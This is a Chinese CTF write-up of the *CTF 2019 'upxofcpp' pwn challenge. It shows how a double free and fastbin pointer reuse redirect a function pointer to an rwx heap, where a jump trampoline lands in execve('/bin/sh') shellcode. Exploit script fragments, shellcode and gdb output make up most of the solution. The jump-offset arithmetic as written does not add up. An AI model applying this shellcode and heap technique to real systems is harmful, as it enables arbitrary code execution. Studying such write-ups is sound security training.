startctf 2019 upxofcpp

感觉最近有点浮躁,还是要静下心来学习一下上半年的题目,这是一道c++的题目,上午做pwnable.tw上的CAOV被劝退了,这道题虽然是c++写的,但是还是用的malloc和free。这是第二道c++ pwn的题目。

题目描述

这道题目加了upx的壳:

1
2
3
4
5
6
7
8
9
ubuntu@ubuntu:~/upx-3.95-amd64_linux$ checksec upxofcpp
[!] Did not find any GOT entries
[*] '/home/ubuntu/upx-3.95-amd64_linux/upxofcpp'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Packer: Packed with UPX

可以下载linux下的upx,链接在这里,然后使用以下命令进行脱壳,记得给目标文件加可执行权限。

1
2
3
4
5
6
7
8
9
10
ubuntu@ubuntu:~/upx-3.95-amd64_linux$ ./upx -d upxofcpp
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2018
UPX 3.95 Markus Oberhumer, Laszlo Molnar & John Reiser Aug 26th 2018

File size Ratio Format Name
-------------------- ------ ----------- -----------
14704 <- 7100 48.29% linux/amd64 upxofcpp

Unpacked 1 file.

拖到IDA里面可以看到程序功能有4个,add、remove、edit和show,有一个结构体维护每一个申请的heap chunk。

1
2
3
4
5
6
00000000 node            struc ; (sizeof=0x18, mappedto_9)
00000000 func_ptr dq ?
00000008 heap_ptr dq ?
00000010 size dq ?
00000018 node ends
00000018

这个func_ptr存储了一个函数指针,每个chunk的函数指针都是一样的,指向bss段上的一个虚表,当调用remove进行堆块释放时会有以下调用:

1
v1 = *(void (__fastcall **)(void *))(v0->func_ptr + 8);

当调用show功能时会调用虚表里的第三项:

1
v1 = *(__int64 (__fastcall **)())(v0->func_ptr + 16);

再看其他的地方无法进行泄露,在add中程序会把输入的每个字符按照每四字节来存储,就比如输入了2个1,它在堆块中存储的是0x00010001。
虽然没有泄露,但是如果能将函数指针修改到堆上,然后在堆上布置上shellcode,这样获得shell。看了参考里的第一篇文章才注意到加壳和脱壳后的程序某些段的读写权限是不同的,原始程序使用vmmap命令可以发现heap是rwx:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
gdb-peda$ vmmap
Start End Perm Name
0x00200000 0x00400000 rwxp mapped
0x0000555555554000 0x0000555555555000 r-xp /home/ubuntu/Documents/pwn/2019/starctf/upxofcpp/upxofcpp_unpack
0x0000555555556000 0x0000555555588000 rwxp [heap]
0x00007ffff6f45000 0x00007ffff6f49000 rwxp mapped
0x00007ffff6f49000 0x00007ffff6f5f000 r-xp /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff6f5f000 0x00007ffff715e000 ---p /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff715e000 0x00007ffff715f000 rwxp /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff715f000 0x00007ffff7160000 rwxp mapped
0x00007ffff7160000 0x00007ffff7268000 r-xp /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7268000 0x00007ffff7467000 ---p /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7467000 0x00007ffff7468000 r-xp /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7468000 0x00007ffff7469000 rwxp /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7469000 0x00007ffff7629000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7629000 0x00007ffff7829000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7829000 0x00007ffff782d000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff782d000 0x00007ffff782f000 rwxp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff782f000 0x00007ffff7833000 rwxp mapped
0x00007ffff7833000 0x00007ffff79a5000 r-xp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff79a5000 0x00007ffff7ba5000 ---p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7ba5000 0x00007ffff7baf000 r-xp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7baf000 0x00007ffff7bb1000 rwxp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bb1000 0x00007ffff7bb6000 rwxp mapped
0x00007ffff7bcf000 0x00007ffff7bf5000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7bf5000 0x00007ffff7df4000 ---p mapped
0x00007ffff7df4000 0x00007ffff7df5000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7df5000 0x00007ffff7df6000 rwxp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7df6000 0x00007ffff7df7000 rwxp mapped
0x00007ffff7df7000 0x00007ffff7dfa000 r-xp mapped
0x00007ffff7dfa000 0x00007ffff7ff9000 ---p mapped
0x00007ffff7ff9000 0x00007ffff7ffa000 r-xp mapped
0x00007ffff7ffa000 0x00007ffff7ffb000 rwxp mapped
0x00007ffff7ffb000 0x00007ffff7ffd000 r--p [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 r-xp [vdso]
0x00007ffffffde000 0x00007ffffffff000 rwxp [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

但是脱壳后的程序的堆没有可执行权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
gdb-peda$ vmmap
Start End Perm Name
0x0000555555554000 0x0000555555557000 r-xp /home/ubuntu/Documents/pwn/2019/starctf/upxofcpp/upxofcpp
0x0000555555756000 0x0000555555757000 r--p /home/ubuntu/Documents/pwn/2019/starctf/upxofcpp/upxofcpp
0x0000555555757000 0x0000555555758000 rw-p /home/ubuntu/Documents/pwn/2019/starctf/upxofcpp/upxofcpp
0x0000555555758000 0x000055555578a000 rw-p [heap]
0x00007ffff716c000 0x00007ffff7182000 r-xp /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7182000 0x00007ffff7381000 ---p /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7381000 0x00007ffff7382000 rw-p /lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff7382000 0x00007ffff748a000 r-xp /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff748a000 0x00007ffff7689000 ---p /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff7689000 0x00007ffff768a000 r--p /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768a000 0x00007ffff768b000 rw-p /lib/x86_64-linux-gnu/libm-2.23.so
0x00007ffff768b000 0x00007ffff784b000 r-xp /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff784b000 0x00007ffff7a4b000 ---p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4b000 0x00007ffff7a4f000 r--p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a4f000 0x00007ffff7a51000 rw-p /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7a51000 0x00007ffff7a55000 rw-p mapped
0x00007ffff7a55000 0x00007ffff7bc7000 r-xp /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7bc7000 0x00007ffff7dc7000 ---p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dc7000 0x00007ffff7dd1000 r--p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.21
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd9000 0x00007ffff7fdf000 rw-p mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p [stack]
0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall]

但是在调试中,未脱壳的程序不能调试堆,脱壳后的程序可以查看堆的分布,因此可以先在脱壳后的程序中进行调试,然后在原始程序里触发。

因为需要修改函数指针到堆上,虽然我们不能泄露堆地址,但是我们那可以利用fastbin中的fd和bk来写入堆地址。这个利用想法很好,和之前做某道题目利用unsortedbin chunk的申请和释放来写入prev_size有相同之处。

对了,这道题还有double free,因为在free时没有清空全局的heap_list,可以多次释放。

利用过程

这里的调试过程中gdb中的内容都是基于脱壳后的程序进行的。
首先申请7个chunk,后面需要利用fastbin的fd来修改func,为了方便在每个chunk中都布置上get shell的shellcode,因为程序特殊的输入方式,需要先提前处理一下shellcode,四个字节作为一组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
shellcode =""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05\x0a"

content=[]
for i in range(0,len(shellcode),4):

content.append(u32(shellcode[i:i+4].ljust(4,'\x00')))

add(1,6,content)
add(2,6,content)
add(3,6,content)
add(4,6,content)
add(5,6,content)
add(6,6,content)
add(7,6,content)

释放idx3和idx2:

1
2
remove(3)
remove(2)

此时fastbin中的状态是如下,在释放时是先释放数据域的chunk,然后再释放存储node结构体的chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x555555769c50 --> 0x555555769c70 --> 0x555555769c90 --> 0x555555769cb0 --> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555769dd0 (size : 0x20230)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0

此时如果再申请一个chunk,将其索引设置为idx8,这里idx8那么idx8的node结构体部分地址为0x555555769c50,数据存储地址为0x555555769c70。将idx8作为一个跳板,跳转到写有shellcode的地址上去执行,因为后面是调用show函数进行触发的,show函数是函数调用表的第三项,函数调用表的起始地址肯定是被改写为堆块的起始地址,那么偏移0x10处就是fd所在的部分,也是一个堆块的起始地址,根据堆的复用也是上一个堆块的数据域,只有0x8的大小,shellcode的长度为48字节放不下,因此用一个跳转地址,跳转到一个写好shellcode的chunk中去执行。

先把后面exp的部分贴出来,然后一起分析:

1
2
3
4
5
6
7
8
9
10
11
12
13

jmp="\x90"*0x10+"\xeb\x6e\x00\x00"
content=[]
for i in range(0,len(jmp),4):
content.append(u32(jmp[i:i+4].ljust(4,'\x00')))
add(8,6,content+[0xffffffff])
remove(1)

##trigger
show(1)
p.interactive()
~~~python
在触发之前下断点,最后释放了idx1,fastbin的分布如下:

gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x555555769c10 –> 0x555555769c30 –> 0x555555769c90 –> 0x555555769cb0 –> 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555769dd0 (size : 0x20230)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0

1
2
3
4
5
6
7
此时show(1)的话,node结构体里func_ptr指向的虚表的地址是0x555555769c30,虚表的内容如下:
~~~python
gdb-peda$ x /8gx 0x0000555555769c30
0x555555769c30: 0x0000000000000006 0x0000000000000021
0x555555769c40: 0x0000555555769c90 0x5f54535668732f2f
0x555555769c50: 0x0a050fd231583b6a 0x0000000000000021
0x555555769c60: 0x0000555555756db8 0x0000555555769c80

调用的是偏移0x10处的函数,函数地址是0x0000555555769c90,这个地址处就是我们刚刚申请的idx8的数据域,里面写了一个跳板:

1
2
gdb-peda$ x /i 0x0000555555769c90
0x555555769c90: jmp 0x555555769d00

然后跳转到0x555555769d00地址处执行shellcode,然后get shell。

1
2
3
4
5
6
7
8
9
10
11
gdb-peda$ x /10i 0x555555769d00
0x555555769d00: xor esi,esi
0x555555769d02: movabs rbx,0x68732f2f6e69622f
0x555555769d0c: push rsi
0x555555769d0d: push rbx
0x555555769d0e: push rsp
0x555555769d0f: pop rdi
0x555555769d10: push 0x3b
0x555555769d12: pop rax
0x555555769d13: xor edx,edx
0x555555769d15: syscall

跳板指令是’\xeb\x6e’,因为是近跳转,指令长度为2个字节,偏移是0x555555769d00-0x555555769c90+2=0x6e。

关于完整的exp是复现的这篇exp,利用非常巧妙。

参考

https://ray-cp.github.io/archivers/STARCTF_2019_PWN_WRITEUP

https://blog.rois.io/2019/starctf-2019-writeup/